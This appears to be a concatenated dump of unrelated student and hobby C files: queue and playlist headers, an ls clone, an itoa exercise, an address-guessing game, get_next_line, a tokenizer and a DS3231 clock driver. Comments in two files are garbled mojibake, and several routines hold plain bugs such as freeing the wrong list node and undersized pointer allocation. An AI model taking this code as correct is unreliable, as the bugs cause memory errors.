/* se elibereaza resursele cozii */
void freeSimpleQueue(SimpleQueue_P q);
/* structura unei cozi cu prioritati */
typedef struct PriorityQueue {
SimpleQueue_P simpleQueueArray[SO_MAX_PRIO + 1];
pthread_mutex_t accessMutex;
} PriorityQueue_T, *PriorityQueue_P;
/* constructor */
PriorityQueue_P initializePriorityQueue(void);
/* adauga la coada */
int addToPriorityQueue(PriorityQueue_P pq, threadInfo_P mutex,
unsigned int prio);
/* intoarce prioritatea maxima din coada */
int getMaxAvailableItemPrio(PriorityQueue_P pq);
/* scoate capul listei si elibereaza resursele pentru el */
threadInfo_P popPriorityQueue(PriorityQueue_P pq);
/* se elibereaza resursele cozii */
void freePriorityQueue(PriorityQueue_P pq);
#endif
|
C
|
#include<stdio.h>
inline int factorial(int n){
if(n ==1 || n == 0) return 1;
else return (n * factorial(n-1));
}
double nPr(int n, int r){
return factorial(n)/factorial(n-r);
}
int main(int argc, char *argv[]){
int a, b;
a = factorial(5);
b = nPr(5, 2);
printf("%d\n %d", a, b);
return 0;
}
|
C
|
#include"headers.h"
void func_ls(){
int i = 0;
struct dirent **lr;
int no = scandir(".", &lr, 0, alphasort); //lr points to allocated array of pointers to allocated strings
if (no >= 0){
for(i = 0; i < no; i++ ){
if(strcmp(lr[i]->d_name, ".") == 0 || strcmp(lr[i]->d_name, "..") == 0){
continue;
}
else{
printf("%s%s", WHITE, lr[i]->d_name);
}
printf("\n");
}
}
else{
perror ("Error");
}
//To free the Memory
for(i = 0; i < no; i++){
free(lr[i]);
}
free(lr);
//return;
}
void func_lsdir(char *name){
int i = 0;
struct dirent **lr;
int no = scandir(name, &lr, 0, alphasort);
if (no >= 0){
for(i = 0; i < no; i++ ){
if(strcmp(lr[i]->d_name, ".") == 0 || strcmp(lr[i]->d_name, "..") == 0){
continue;
}
else{
printf("%s%s", WHITE, lr[i]->d_name);
}
printf("\n");
}
}
else{
perror ("Error");
}
for(i = 0; i < no; i++){
free(lr[i]);
}
free(lr);
}
void func_lsa(){
int i = 0;
struct dirent **lr;
int no = scandir(".", &lr, 0, alphasort);
if (no >= 0){
for(i = 0; i < no; i++ ){
printf("%s%s ", WHITE, lr[i]->d_name);
printf("\n");
}
}
else{
perror ("Error");
}
for(i = 0; i < no; i++){
free(lr[i]);
}
free(lr);
}
void func_lsl(){
int i = 0, sum = 0;
char timer[14];
struct dirent **lr;
struct stat file;
int no = scandir(".", &lr, 0, alphasort);
if(no > 0){
for (i = 0; i < no; i++){
if(strcmp(lr[i]->d_name, ".") == 0 || strcmp(lr[i]->d_name, "..") == 0){
continue;
}
else if(stat(lr[i]->d_name, &file) == 0){
sum += file.st_blocks; // block size
// owner permissions-group permissions-other permissions
printf("%s%1s",WHITE, (S_ISDIR(file.st_mode)) ? "d" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IRUSR) ? "r" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IWUSR) ? "w" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IXUSR) ? "x" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IRGRP) ? "r" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IWGRP) ? "w" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IXGRP) ? "x" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IROTH) ? "r" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IWOTH) ? "w" : "-");
printf("%s%1s ", WHITE, (file.st_mode & S_IXOTH) ? "x" : "-");
// links associated - owner name - group name
printf("%s%2ld ", WHITE, (unsigned long)(file.st_nlink));
printf("%s%s ", WHITE, (getpwuid(file.st_uid))->pw_name);
printf("%s%s ", WHITE, (getgrgid(file.st_gid))->gr_name);
// file size (bytes) - time modified - name
printf("%s%5lld ", WHITE, (unsigned long long)file.st_size);
strftime (timer, 14, "%h %d %H:%M", localtime(&file.st_mtime));
printf("%s%s ", WHITE, timer);
printf("%s%s\n", WHITE, lr[i]->d_name);
}
}
}
else{
printf("%sEmpty\n", WHITE);
}
for(i = 0; i < no; i++){
free(lr[i]);
}
free(lr);
}
void func_lsal(){
int i = 0, sum = 0;
char timer[14];
struct dirent **lr;
struct stat file;
int no = scandir(".", &lr, 0, alphasort);
if(no > 0){
for (i = 0; i < no; i++){
if(stat(lr[i]->d_name, &file) == 0){
sum += file.st_blocks; // block size
// owner permissions-group permissions-other permissions
printf("%s%1s", WHITE, (S_ISDIR(file.st_mode)) ? "d" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IRUSR) ? "r" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IWUSR) ? "w" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IXUSR) ? "x" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IRGRP) ? "r" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IWGRP) ? "w" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IXGRP) ? "x" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IROTH) ? "r" : "-");
printf("%s%1s", WHITE, (file.st_mode & S_IWOTH) ? "w" : "-");
printf("%s%1s ", WHITE, (file.st_mode & S_IXOTH) ? "x" : "-");
// links associated - owner name - group name
printf("%s%2ld ", WHITE, (unsigned long)(file.st_nlink));
printf("%s%s ", WHITE, (getpwuid(file.st_uid))->pw_name);
printf("%s%s ", WHITE, (getgrgid(file.st_gid))->gr_name);
// file size (bytes) - time modified - name
printf("%s%5lld ", WHITE, (unsigned long long)file.st_size);
strftime (timer, 14, "%h %d %H:%M", localtime(&file.st_mtime));
printf("%s%s ", WHITE, timer);
printf("%s%s\n", WHITE, lr[i]->d_name);
}
}
}
else{
printf("%sEmpty\n", WHITE );
}
for(i = 0; i < no; i++){
free(lr[i]);
}
free(lr);
}
|
C
|
#ifndef PESSOA_H
#define PESSOA_H
typedef struct pessoa Pessoa;
#include "listaPlaylist.h"
#include "listaAmigo.h"
/* Aloca e preenche uma pessoa com seu nome e inicializa suas listas de playlist e amigos
input: String com o nome da pessoa a ser preenchida
output: Ponteiro para struct pessoa
pré-condição: Nome não é nulo
pós-condição: Pessoa foi alocada e criada com as listas inicializadas
*/
Pessoa* criaPessoa(char* nome);
/* Retorna o nome de uma pessoa
input: A pessoa
output: String com o nome da pessoa
pré-condição: Pessoa existe
pós-condição: Nome da pessoa foi retornado
*/
char* getNomePessoa(Pessoa* p);
/* Retorna a lista de amigos de uma pessoa
input: A pessoa
output: Ponteiro para a lista de amigos
pré-condição: Pessoa existe
pós-condição: Ponteiro para a lista de amigos da pessoa foi retornado
*/
ListaAmigo* getListaAmigoPessoa(Pessoa* p);
/* Retorna a lista de playlists de uma pessoa
input: A pessoa
output: Ponteiro para a lista de playlists
pré-condição: Pessoa existe
pós-condição: Ponteiro para a lista de playlists da pessoa foi retornado
*/
ListaPlaylist* getListaPlaylistPessoa(Pessoa* p);
/* Define uma nova lista de playlists para uma pessoa
input: A pessoa, a nova lista de playlists
output: Nenhum
pré-condição: Pessoa existe, lista de playlists está inicializada
pós-condição: Nova lista de playlists foi definida para a pessoa
*/
void setListaPlaylistPessoa(Pessoa* p, ListaPlaylist* lista);
/* Preenche os arquivos de saída de playlists de uma pessoa e o arquivo played_refatorada (linha referente à pessoa passada)
input: A pessoa, o arquivo
output: Nenhum
pré-condição: Pessoa e arquivo existem
pós-condição: Arquivos played_refatorada e saídas das playlists foram preenchidos de acordo com a pessoa
*/
void imprimePlayedRefatorada(Pessoa* p, FILE* arq);
/* Libera toda a memória alocada para uma pessoa
input: A pessoa
output: Nenhum
pré-condição: Pessoa existe
pós-condição: A memória alocada para a pessoa foi liberada
*/
void destroiPessoa(Pessoa* p);
#endif
|
C
|
/*
file.c
ʾε PHP еĺ
õĺ function.h Ѿװ˵ļ
ĵ÷, function.c ļ
*/
#include <stdio.h>
#include "../plato/plato.h"
/* C */
int main() {
printf(" Plato ģС");
return 0;
}
/* main */
int PLT_CALL plato_main(int argc, void *args[]) {
char *file = "test.txt";
/* file_exists */
p_file_exists(file);
/* úķֵΪʹ, жļǷ */
if(P_RET_INT) {
p_echo("ļѾڡ");
return 0;
}
/* ļ */
p_fopen(file, "wb");
/* 浽 */
P_RET(fp);
/* д */
p_fwrite_str(fp, "\nһ");
/* رվ */
p_fclose(fp);
/* */
p_echo("ļɹ");
return 0;
}
|
C
|
/*Write a C program with a recursive function itoa, which converts integer into a string.*/
#include<stdio.h>
#include<string.h>
#include<math.h>
void itoa(int ,char *);
int main()
{
int number,result;
char str[80];
printf("\nEnter the number: ");
scanf("%d", &number);
itoa(number, str);
printf("\nNumber converted into string is %s\n ", str);
return 0;
}
void itoa(int num, char *str)
{
int i=0, j=0, rem, len=0, n=num ;
while(n != 0)
{
len++;
n /= 10;
}
for(i=0; i<len; i++)
{
rem = num%10;
num /= 10;
str[len-(i+1)] = rem +'0';
}
str[len] = '\0';
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TOTAL_LOOPS 0
#define UNIQUES_GENERATED 1
#define NO_HINTS 2
#define TWO_GUESSES_PLUS 3
#define ONE_PLUS_HINTS 4
typedef struct {
int real_part;
int imag_part;
} complex ;
/* Function getWidth returns the appropriate width value based on
the given command line entries. If entry provided is a valid number
return that number otherwise 5.
Parameters:
int noEntries: Number of entries given.
char* entries[]: Array of entries given;
Return:
int : Appropriate width. */
int getWidth(int noEntries, char* entries[]){
if(noEntries > 1 && validNumber(entries[1])){
return atoi(entries[1]);
}
else{
return 5;
}
}
/* Function generateMatrix generates a 2D N x N matrix of type complex
with N defined by the inputed width.
Parameters:
int width: Width of the matrix.
Return:
complex** : N x N matrix of type complex. */
complex** generateMatrix(int width){
complex **M;
// Generate width number of rows complex arrays.
M = (complex**) malloc(width * sizeof(complex));
int i;
for(i =0; i < width; i++){
// Generate width number of complex arrays within row.
M[i] = (complex *) malloc(sizeof(complex) * width);
int j;
for(j =0; j < width; j++){
M[i][j].real_part = i;
M[i][j].imag_part = j;
}
}
return M;
}
/* Function validNumber checks if the provided string is a number.
Parameters:
char* entry: The pointer to the string to be checked.
Return:
int: 0 if inputted string is not a number, 1 if it is. */
int validNumber(char *entry){
while(*entry != '\0'){ // iterate over string
if(isalpha(*entry)){ // check is current character is a latter
return 0; // return 0 if string contains a letter
}
entry++;
}
return 1; // return 1 if string does not contain any letters.
}
/* Function killMatrix frees the memorry associated with a 2D N x N
matrix of type complex where N is the specified width.
Parameters:
complex** M: Pointer the the 2D complex array.
int width; The width of the 2D array; */
void killMatrix(complex** M, int width){
int i;
for(i = 0; i < width; i++){ // free width number rows.
free(M[i]);
}
free(M); // free rest of matrix.
}
/* Function printHintH prints memory addres of the first column of
the specified 2D complex matrix.
Example output, 5 width 2D matrix.
M[0][0] P00
M[1][0] P10
M[2][0] P20
M[3][0] P30
M[4][0] P40
Parameters:
complex** M: 2D complex matrix which hints will be generated upon.
int width: Width of the 2D matrix. */
void printHintH(complex** M, int width){
int i;
for(i =0; i < width; i++){ // Print of addresses of width number of
// rows of the matrix.
printf("M[%d][0] %p\n", i, &M[i][0] );
}
printf("\n");
}
/* Function printHintHH prints memory addres of the first column of
and row of the specified 2D complex matrix.
Example output, 5 width 2D matrix.
M[0][0] M[0][1] M[0][2] M[0][3] M[0][4]
M[0][0] P00 P01 P02 P03 P04
M[1][0] P10
M[2][0] P20
M[3][0] P30
M[4][0] P40
Parameters:
complex** M: 2D complex matrix which hints will be generated upon.
int width: Width of the 2D matrix. */
void printHintHH(complex** M, int width){
int i;
printf("\t");
for(i =0; i < width; i++){ // Print width number of columns
printf("M[0][%d] ", i);
}
printf("\nM[0][0] ");
for(i =0; i < width; i++){
printf("%p ", &M[0][i] );
}
printf("\n");
for(i =1; i < width; i++){
printf("M[%d][0] %p\n", i, &M[i][0] );
}
printf("\n");
}
/* Function printHintHH prints memory addres all of the columns
and rows of the specified 2D complex matrix.
Example output, 5 width 2D matrix.
M[0][0] M[0][1] M[0][2] M[0][3] M[0][4]
M[0][0] P00 P01 P02 P03 P04
M[1][0] P10
M[2][0] P20
M[3][0] P30
M[4][0] P40
Parameters:
complex** M: 2D complex matrix which hints will be generated upon.
int width: Width of the 2D matrix. */
void printHintHHH(complex** M, int width){
int i;
printf("\t");
for(i =0; i < width; i++){ printf("M[0][%d] ", i);}
printf("\n");
for(i =0; i < width; i++){
printf("M[%d][0] ", i);
int j;
for(j=0; j < width; j++){
printf("%p ", &M[i][j]);
}
printf("\n");
}
printf("\n");
}
/* Function addUnique checks already generated complex numbers in the
given list to determine whether the given row, column pair (i, j)
is unique.
Parameters:
complex uniq[]: Array of type complex containing arrays which contains
row column pairs that have already been generated.
int i: Row number to be checked.
int j: Column number to be checked.
int stats[]: Array of stats of the game. The number of unique numbers
generated is stored in index 1.
Return:
int: Returns 0 if row column pair has already been generated and
returns 1 if row colum pair is unique. */
int addUnique(complex unq[], int i, int j, int stats[]){
int x;
for(x=0; x < stats[UNIQUES_GENERATED]; x++){
// Unique pairs are already accounted for so only iterate over
// already generated pairs.
if(unq[x].real_part == i && unq[x].imag_part == j){
return 0;
}
}
// Add latest row column pair to array of already found pairs.
unq[stats[UNIQUES_GENERATED]].real_part = i;
unq[stats[UNIQUES_GENERATED]].imag_part = j;
return 1;
}
/* Function checkAnswer determines if user has quit, and if not
checks if users answer is corrrect.
Parameters:
char* choice: Pointer to user's answer.
int i: Row number that is correct.
int j: Column number that is correct.
Return:
int: Returns 0 if user quits, else function checkGuess is called
and 0 is returned if row column is guessed incorrectly
1 if guessed correctly; */
int checkAnswer(char* choice, int i, int j){
if(strncmp(choice,"Q", 1) != 0){
return checkGuess(choice, i, j);
}
return 0;
}
/* Function checkHints determines if user selected a type of hint.
Calls appropriate function if user input matches the hint type.
Parameters:
char* choice: Pointer array of user input.
complex** M: 2D array of type complex.
int width: Width of 2D matrix. */
int checkHints(char* choice, complex** M, int width){
if(strncmp(choice,"HHH", 3) == 0){
printHintHHH(M, width);
return 1 ;
}
else if(strncmp(choice,"HH", 2) == 0){
printHintHH(M, width);
return 1 ;
}
else if(strncmp(choice,"H", 1) == 0){
printHintH(M, width);
return 1 ;
}
return 0;
}
/* Function checkGuess checks the users input (guess) and determines if
that input matches with the correct row column pairs(i, j).
Parameters:
char* guess: The user inputted guess;
int i: The correct row to be checked.
int j: The correct column to be checked.
Return:
int: Returns 0 if the inputted guess does not match the
correct pair, 1 if match is made. */
int checkGuess(char* guess, int i, int j){
char *token;
int x;
token = strsep(&guess, " "); // extract first input
if(validNumber(token) && atoi(token) == i){ // proceed is first input is
// correct
token = strsep(&guess, "\n");//extract second input
if(validNumber(token) && atoi(token) == j){
printf("Right!\n"); // User is correct.
return 1;
}
}
printf("Wrong\n"); // User is incorrect
return 0;
}
/* Function printStats prints the stats of the game after the user has
quit.
1. Total number of uniquely generated row column pairs.
2. Percent of correctly guessed pairs on the first time.
3. Percent of correctly guessed pairs after 2 or more guesses
without hints.
4. Percent of correctly guessed pairs after one or more hints.
Parameters:
int stats[]: Array of stats accumulated over the course of the game.
*/
void printStats(int stats[]){
printf("-------------------------------------------\n");
printf("%d Total number\n", stats[UNIQUES_GENERATED]);
printf("%2.0f%% Correct first time (no hints)\n",
((double) stats[NO_HINTS] / stats[TOTAL_LOOPS]) * 100);
printf("%2.0f%% Correct after 2 or more guesses (no hints)\n",
(double) stats[TWO_GUESSES_PLUS] / stats[TOTAL_LOOPS] * 100);
printf("%2.0f%% Correct after hint(s)\n",
(double) stats[NO_HINTS] / stats[TOTAL_LOOPS] * 100);
printf("-------------------------------------------\n");
}
/* Function setStats sets the total values of hint and guess related stats.
Parameters:
int *stats: Pointer to the array of total stats.
int hints: Number of hints used in round of game.
int guesses: Number of guessed used in round of game; */
void setStats(int *stats, int hints, int guesses){
if(hints == 0 && guesses==1){ // No hints used and guessed on first try.
stats[NO_HINTS] += 1;
}
if(hints ==0 && guesses >= 2){ // No hints used and 2 or more guesses used.
stats[TWO_GUESSES_PLUS] += 1;
}
if(hints >= 1){// One or more hints used.
stats[ONE_PLUS_HINTS] += 1;
}
stats[TOTAL_LOOPS] += 1; // Increase total amount of pairs generated.
}
/* Function setUnique records the total number of unique row column pair
generated.
Parameters:
complex arr[]: 2D matrix of type complex.
int i: Row value of be checked for uniqueness.
int j: Column value of be checked for uniqueness.
int stats[]: Array of total stats. Unique pairs generated is index 1.
*/
void setUnique(complex arr[], int i, int j, int stats[]){
stats[UNIQUES_GENERATED] += addUnique(arr, i, j, stats);
}
int main(int argc, char *argv[]){
// Instantiate tallied variables.
int i, j, width, correct, hintCount, guesses, hints, trys;
//Instantiate stats array
int stats[5] = {0};
// Determine width of Matrix
width = getWidth(argc, argv);
// Generate matrix based on width
complex** M = generateMatrix(width);
// Create randmom number generator.
srand((unsigned)time(NULL));
// Create string array for user input.
char choice[20];
// Create array of type complex to store generated row column pairs
complex uniques[width * width];
// Continue game until user quits.
while(strncmp(choice, "Q", 1) != 0){
// Generate random row column pairs for ser to guess.
i = rand() % width;
j = rand() % width;
// Reset counting variable for each generated row column pair.
correct = hints = guesses = 0;
while(correct == 0 && strncmp(choice, "Q", 1) != 0){
// Count number of hints used for this specific pair.
hintCount = 0;
// Display message to user displaying options.
printf("M[0][0]=%p. M[i][j]=%p What's i and j?\n(Q to Quit or H or
HH or HHH for hints.): ", &M[0][0], &M[i][j]);
// Recieve and store user input.
fgets(choice, 20, stdin);
// Check if user requested hints
hintCount += checkHints(choice, M, width);
// If user did not want hints check is valid answer submitted
if (hintCount == 0){
// Check answer
correct = checkAnswer(choice, i, j);
}
// Accumulate hints used.
hints += hintCount;
// Accumulate guesses used.
guesses++;
}
// If user has not quit calculate stats for pair.
if (strncmp(choice, "Q", 1) != 0){
setUnique(uniques, i, j, stats);
setStats(stats,hints, guesses);
}
}
// Print stats of the game after user has quit.
printStats(stats);
// terminate matrix.
killMatrix(M, width);
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* get_next_line.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: mnila <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/12/08 20:03:06 by mnila #+# #+# */
/* Updated: 2019/12/20 02:11:14 by mnila ### ########.fr */
/* */
/* ************************************************************************** */
#include "get_next_line.h"
static void delete_file(const int fd, t_list **file_list)
{
t_list *current;
t_list *previous;
current = *file_list;
if (current && current->content_size == (size_t)fd)
{
*file_list = (*file_list)->next;
free(*file_list);
*file_list = NULL;
}
else
{
while (current && current->content_size != (size_t)fd)
{
previous = current;
current = current->next;
}
if (current)
{
previous->next = current->next;
free(current);
}
}
}
static t_list *get_file(const int fd, t_list *file_list)
{
t_list *new_file;
if (file_list == NULL)
{
if ((new_file = ft_lstnew(NULL, 0)) == NULL)
return (NULL);
new_file->content_size = (size_t)fd;
new_file->content = ft_strdup("");
return (new_file);
}
if (file_list->content_size == (size_t)fd)
{
return (file_list);
}
if (file_list->next == NULL)
{
if ((file_list->next = get_file(fd, file_list->next)) == NULL)
return (NULL);
return (file_list->next);
}
return (get_file(fd, file_list->next));
}
static int set_line(t_list *file, char *new, char *buffer, char **line)
{
void *temp;
if (file == NULL || new == NULL || buffer == NULL || line == NULL)
return (-1);
temp = file->content;
*line = new;
file->content = (char *)buffer;
free(temp);
return (1);
}
static int read_file(const int fd, t_list **file_list, char **line)
{
int bytes_read;
char buffer[BUFF_SIZE + 1];
t_list *file;
char *newline;
char *temp;
file = get_file(fd, *file_list);
while ((bytes_read = read(fd, &buffer, BUFF_SIZE)) > 0)
{
buffer[bytes_read] = '\0';
set_line(file, buffer, ft_strjoin(file->content, buffer), line);
if ((newline = ft_strchr(file->content, '\n')))
{
temp = ft_strsub(file->content, 0, newline - (char *)file->content);
return (set_line(file, temp, ft_strdup(newline + 1), line));
}
}
if (file != NULL && file->content != NULL && ft_strlen(file->content) > 0)
{
set_line(file, ft_strdup(file->content), file->content, line);
delete_file(fd, file_list);
return (1);
}
return (bytes_read);
}
int get_next_line(const int fd, char **line)
{
static t_list *file_list;
t_list *file;
char *newline;
char *temp;
if (fd <= -1 || line == NULL)
return (-1);
if (file_list == NULL)
file_list = get_file(fd, NULL);
file = get_file(fd, file_list);
if (file->content && (newline = ft_strchr(file->content, '\n')))
{
temp = ft_strsub(file->content, 0, newline - (char *)file->content);
return (set_line(file, temp, ft_strdup(newline + 1), line));
}
return (read_file(fd, &file_list, line));
}
|
C
|
#include "sym.h"
#include "tokenize.h"
#include "mem.h"
const char*ISYMBOLS = "`-=[];,./~!@$%%^&*()+{}:<>?|";
int B_BEGIN[] = {S_LEFTQUARE, S_LEFTCIRCLE, S_LEFTBIG};
int B_END[] = {S_RIGHTQUARE, S_RIGHTCIRCLE, S_RIGHTBIG};
bool in_str(const char *s, char c)
{
int i = 0;
while (s[i])
if (s[i++] == c) return true;
return false;
}
bool in_sets(int sets[], int size, int s)
{
for (int i = 0; i < size; i++)
{
if (sets[i] == s) return true;
}
return false;
}
char* new_str(struct CompileState *c, const char *s, int f, int n)
{
char* str = new_string(c, n + 1);
for (int j = 0; j < n; j ++)
{
str[j] = s[f+j];
}
str[n] = '\0';
return str;
}
static void clean(char *s)
{
int i = 0;
while (s[i])
{
if (s[i] == '\r')
{
if (s[i+1] && s[i+1]=='\n')
s[i] = ' ';
else
s[i] = '\n';
}
i++;
}
}
struct Token* add_token(struct CompileState *c, int type, int vs)
{
struct Token* t = new_token(c, c->T.col, c->T.row, type, vs);
append_list_item(c, &c->T.res, t);
return t;
}
static int do_nl(struct CompileState *c, char *s, int i, int size)
{
if (!c->T.braces)
{
add_token(c, S_NL, 0);
}
i++;
c->T.nl = true;
c->T.y++;
c->T.yi = i;
return i;
}
static void indent(struct CompileState *c, int v)
{
if (v == c->T.indents->v);
else if (v > c->T.indents->v)
{
struct IntListItem *p = new_intList_item(c, v);
p->next = c->T.indents;
c->T.indents = p;
add_token(c, S_INDENT, v);
}
else if (v < c->T.indents->v)
{
struct IntListItem *p = c->T.indents;
while (p)
{
if (p->v == v) break;
add_token(c, S_DEDENT, p->v);
p = p->next;
}
c->T.indents = p;
}
}
static int do_indent(struct CompileState *cst, char *s, int i, int size)
{
char c = 0;
int v = 0;
while (i < size)
{
c = s[i];
if (c != ' ' && c != '\t') break;
i ++;
v ++;
}
if (c != '\n' && c != '#' && !cst->T.braces)
indent(cst, v);
return i;
}
static int do_symbol(struct CompileState *cst, char *s, int i, int size)
{
int f = i, n;
int sym = in_symbol(&s[f], i - f + 1);
int m = -1;
while (i < size)
{
char c = s[i];
if (!in_str(ISYMBOLS, c)) break;
i ++;
m = in_symbol(&s[f], i - f + 1);
if (m) sym = m;
}
n = strlen(CONSTR[sym]);
i = f + n;
add_token(cst, S_SYMBOL, sym);
if (in_sets(B_BEGIN, sizeof(B_BEGIN) / sizeof(int), sym)) cst->T.braces ++;
if (in_sets(B_END, sizeof(B_BEGIN) / sizeof(int), sym)) cst->T.braces --;
return i;
}
static int do_number(struct CompileState *cst, char *s, int i, int size)
{
char c = '\0';
int f = i, n;
i ++;
while (i < size)
{
c = s[i];
if ((c < '0' || c > '9') && (c < 'a' || c > 'f') && c != 'x') break;
i ++;
}
if (c == '.')
{
i ++;
while (i < size)
{
c = s[i];
if (c < '0' || c > '9') break;
i ++;
}
}
n = i - f;
add_token(cst, S_NUMBER, 0)->vn = new_str(cst, s, f, n);
return i;
}
static int do_name(struct CompileState *cst, char *s, int i, int size)
{
int sym;
char c;
int f = i, n;
while (i < size)
{
c = s[i];
if ((c < 'a' || c > 'z') && (c < 'A' || c > 'Z') && (c < '0' || c > '9') && c != '_') break;
i ++;
}
n = i - f;
sym = in_symbol(&s[f], n);
if (sym) add_token(cst, S_SYMBOL, sym);
else{
add_token(cst, S_NAME, 0)->vn = new_str(cst, s, f, n);
}
return i;
}
static int do_string(struct CompileState *cst, char *s, int i, int size)
{
int f = i;
char q = s[i], c;
i++;
if ((size - i) >= 5 && s[i] == q && s[i+1] == q) // """
{
i += 2;
while (i < size - 2)
{
c = s[i];
if (c == q && s[i+1] == q && s[i+2] == q)
{
i += 3;
add_token(cst, S_STRING, 0)->vn = new_str(cst, s, f + 3, i - f - 4);
break;
}
else
{
i ++;
if (c == '\n')
{
cst->T.y ++;
cst->T.yi = i;
}
}
}
}
else
{
char* b;
int n = i;
while (i < size)
{
c = s[i];
if (c == '\\')
{
i ++;
c = s[i];
if (c == 'n') c = '\n';
if (c == 'r') c = 13;
if (c == 't') c = '\t';
if (c == '0') c = '\0';
i ++;
}
else if (c == q)
{
i ++;
b = new_str(cst, s, f + 1, i - f - 2);
break;
}
else
i ++;
}
i = n;
n = 0;
while (i < size)
{
c = s[i];
if (c == '\\')
{
i++;
c = s[i];
if (c == 'n') c = '\n';
if (c == 'r') c = 13;
if (c == 't') c = '\t';
if (c == '0') c = '\0';
b[n++] = c;
i++;
}
else if (c == q)
{
i++;
b[n++] = '\0';
add_token(cst, S_STRING, 0)->vn = b;
break;
}
else
{
i++;
b[n++] = c;
}
}
}
return i;
}
static int do_comment(char *s, int i, int size)
{
i ++;
while (i < size)
{
char c = s[i];
if (c == '\n') break;
i ++;
}
return i;
}
static void do_tokenize(struct CompileState *cst, char *s, int i, int size)
{
while (i < size)
{
char c = s[i];
cst->T.row = cst->T.y;
cst->T.col = i - cst->T.yi + 1;
if (cst->T.nl)
{
cst->T.nl = false;
i = do_indent(cst, s, i, size);
}else{
switch (c)
{
case '\n':
i = do_nl(cst, s, i, size);
break;
case '\"':
case '\'':
i = do_string(cst, s, i, size);
break;
case '#':
i = do_comment(s, i, size);
break;
case ' ':
case '\t':
i ++;
break;
default:
if (in_str(ISYMBOLS, c))
i = do_symbol(cst, s, i, size);
else if (c >= '0' && c <= '9')
i = do_number(cst, s, i, size);
else if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_')
i = do_name(cst, s, i, size);
else if (c == '\\' && s[i+1] == '\n')
{
i += 2;
cst->T.y ++;
cst->T.yi = i;
}
else
u_error(cst, "tokenize", s, cst->T.col, cst->T.row);
}
}
}
indent(cst, 0);
}
struct TList tokenize(struct CompileState *c, char* input_str)
{
clean(input_str);
memset(&c->T, 0, sizeof(struct TData));
c->T.y = 1;
c->T.nl = true;
c->T.indents = new_intList_item(c, 0);
do_tokenize(c, input_str, 0, strlen(input_str));
return c->T.res;
}
|
C
|
/*=======================================================================
*Subsystem:
*File: DS3231.c
*Author: Wenming
*Description: ͨţ
ӿڣPJ1PJ0
ʣ100KHz
========================================================================
* History: ʷ¼б
* 1. Date:
Author:
Modification:
========================================================================*/
#include "DS3231.h"
#include "TypeDefinition.h"
#include "MC9S12XEP100.h"
#include "derivative.h"
Read_IIC_Time_T Read_IIC_Time;
/*=======================================================================
*: BCD2HEX(uint8)
*: תʮ
*:
*أ
*˵ BCDת16,BCD4λ2ʾ110,λʮ
λʮӣ0x00100100;λ2λ424
========================================================================*/
uint8 BCD2HEX(uint8 val)
{
uint8 value;
value=val&0x0f;
val>>=4;
val&=0x0f;
val*=10;
value+=val;
return value;
}
/*=======================================================================
*: HEX2BCD(uint8)
*: תʮ
*:
*أ
*˵ Ļ෴
========================================================================*/
uint8 HEX2BCD(uint8 val)
{
uint8 i,j,k;
i=val/10;
j=val%10;
k=j+(i<<4);
return k;
}
/*=======================================================================
*: DS3231SN_INIT()
*: IICģ
*: year:,month:,day:
*أ
*˵ ʱ䵥λ㣬ӳʱ䳤ˣɸġ
========================================================================*/
void DS3231SN_INIT(uint8 year, uint8 month, uint8 week, uint8 day, uint8 hour, uint8 min) // һʱʹһ
{
IIC_write(0xd0,0x00,0x00); /*ʼΪ0*/
delayus(10);
IIC_write(0xd0,0x01,min); /*ӳʼΪ0*/
delayus(10);
IIC_write(0xd0,0x02,hour); /*СʱʼΪ0*/
delayus(10);
IIC_write(0xd0,0x03,day); /*ʼΪ0*/
delayus(10);
IIC_write(0xd0,0x04,week); /*ʼΪ0*/
delayus(10);
IIC_write(0xd0,0x05,month); /*ʼΪ0*/
delayus(10);
IIC_write(0xd0,0x06,year); /*ʼΪ0*/
//delay();
}
/*=======================================================================
*: DS3231_Read_Second()
*:
*:
*أ
*˵ ȡ59
========================================================================*/
uint8 DS3231_Read_Second(void)
{
uint8 receivedata;
receivedata=IIC_read(0xd0,0x00);
receivedata=BCD2HEX(receivedata);
return receivedata;
}
/*=======================================================================
*: DS3231_Read_Minute()
*:
*:
*أ
*˵ ȡֵ59
========================================================================*/
uint8 DS3231_Read_Minute(void)
{
uint8 receivedata;
receivedata=IIC_read(0xd0,0x01);
receivedata=BCD2HEX(receivedata);
return receivedata;
}
/*=======================================================================
*: DS3231_Read_Hour()
*: Сʱ
*:
*أ
*˵ ȡСʱֵ23Сʱ
========================================================================*/
uint8 DS3231_Read_Hour(void)
{
uint8 receivedata;
receivedata=IIC_read(0xd0,0x02);
receivedata=BCD2HEX(receivedata);
return receivedata;
}
/*=======================================================================
*: DS3231_Read_Day()
*:
*:
*أ
*˵ ȡֵ31
========================================================================*/
uint8 DS3231_Read_Day(void)
{
uint8 receivedata;
receivedata=IIC_read(0xd0,0x04);
receivedata=BCD2HEX(receivedata);
return receivedata;
}
/*=======================================================================
*: DS3231_Read_Month()
*:
*:
*أ
*˵ ȡֵ12£
========================================================================*/
uint8 DS3231_Read_Month(void)
{
uint8 receivedata;
receivedata=IIC_read(0xd0,0x05);
receivedata=BCD2HEX(receivedata);
return receivedata;
}
/*=======================================================================
*: DS3231_Read_Year()
*:
*:
*أ
*˵ ȡֵ99ꣻ
========================================================================*/
uint8 DS3231_Read_Year(void)
{
uint8 receivedata;
receivedata = IIC_read(0xd0,0x06);
receivedata = BCD2HEX(receivedata);
return receivedata;
}
/*=======================================================================
